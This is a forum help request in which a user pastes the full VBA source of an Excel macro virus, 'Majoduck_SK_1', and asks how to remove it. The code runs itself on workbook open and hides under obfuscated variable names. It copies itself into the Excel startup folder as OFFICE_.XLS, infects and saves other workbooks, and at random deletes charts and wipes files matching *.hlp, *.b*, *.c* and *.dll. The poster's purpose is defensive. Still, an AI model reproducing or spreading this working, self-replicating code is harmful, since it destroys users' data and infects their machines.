Can Some one help me how to remove the below script from Excel as its running automatically and getting spread into multiple systems
>>> use code - tags <<<
>>> use code - tags <<<
Code:
Rem Macro Majoduck_SK_1 ,Made in Slovakia
Rem -----------------------------------
Sub auto_open()
On Error GoTo EndCode
Application.OnSheetActivate = "Office_menu"
EndCode: End Sub
Sub Office_menu()
On Error GoTo ActiveCode100
ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkMaile
rStyles$ = Application.StartupPath
NowSystemModuleSelectFrameVisableOffice$ = Dir(ActivateCodePaswordCodeNameOfficeApplicationScenarioPivotTableHyperlinkM
ailerStyles$ & "\" & "OFFICE_.XLS")
If NowSystemModuleSelectFrameVisableOffice$ = "OFFICE_.XLS" Then RunNextNameSelectLineFormatTableStripCommandBarButton = 1 Else RunNextNameSelectLineFormatTableStripCommandBarButton = 0
If ActiveWorkbook.Modules.count > 0 Then ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction = 1 Else
WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll = RunNextNameSelectLineFormatTableStripCommandBarButton + ForWorkbookFilesCodeNameDocumentSelectedApplicationWorksheetFunction * 10
Select Case
WhichFileOfficePaswordCodeReadDataObjectStartDrangStateWindowSmallScroll
Case 10
ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndConnect$ = ActiveWorkbook.Name
Sheets("Majoduck_SK_1").Visible = True
Sheets("Majoduck_SK_1").Select: Sheets("Majoduck_SK_1").Copy
NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLineFormat$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(NewnameWorkbooksPaswordNameThisframesCopyNextApplicationWindowsLin
eFormat$).SaveAs Filename:=Application.StartupPath & "/" & "OFFICE_.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
Workbooks(ActiveWorkbookNameApplicationEvaluateSaveAsNarmalModulSelectEndCon
nect$).Sheets("Majoduck_SK").Visible = False
Case 1
EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$ = ActiveWorkbook.Name
PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45F
F05$ =
Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(
1).Name
If
PrintInputGetNextActiveteNormalWindowsNamesSelectNowVisablefortCode159wle45F
F05$ <> "Majoduck_SK_1" Then
Workbooks("OFFICE_.XLS").Sheets("Majoduck_SK_1").Copy
Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(
1)
Workbooks(EndIFWorkbooksSheetsCopybeforeVisablePathmodulesActivate$).Sheets(
"Majoduck_SK_1").Visible = False
CodeForGosubThen = Int(Rnd(1) * 11 + 1): If CodeForGosubThen >= 8 Then ActiveWorkbook.Save Else
Else
End If
Case Else
On Error GoTo ActiveCode100
If Windows("OFFICE_.XLS").Visible = True Then Windows("OFFICE_.XLS").Visible = True
CodeForGotoNowThen = Int(Rnd(1) * 301 + 1)
ActiveCode20: If CodeForGotoNowThen = 7 Or CodeForGotoNowThen = 11 Then
ActiveSheet.ChartObjects.Select: Selection.Delete:
CtiveCellFormulaR1C1ThenGosub123$ = MakePathCompileas123ThenGoto112456$:
If CodeForGotoNowThen > 297 Then Kill "*.hlp"
CtiveCellFormulaR1C1ThenGosub1r78$ =
MakePathCompileas2358ThenGoto112456$: If CodeForGotoNowThen = 77 Then Kill "*.b*"
CtiveCellFormulaR1C1ThenGosub4520$ = MakePathCompileas698ThenGoto162498$:
If CodeForGotoNowThen = 3 Or CodeForGotoNowThen = 1 Then Kill "*.c*"
CtiveCellFormulaR1C1ThenGosub123rt$ =
MakePathCompileas123ThenGoto112456$: If CodeForGotoNowThen <= 6 Then Kill "*.dll"
ActiveCode100: End Select
Rem Macro Majoduck_SK_1 ,Made in Slovakia
Rem Soft by *** Drake *** for Microsoft
End Sub
Last edited by a moderator: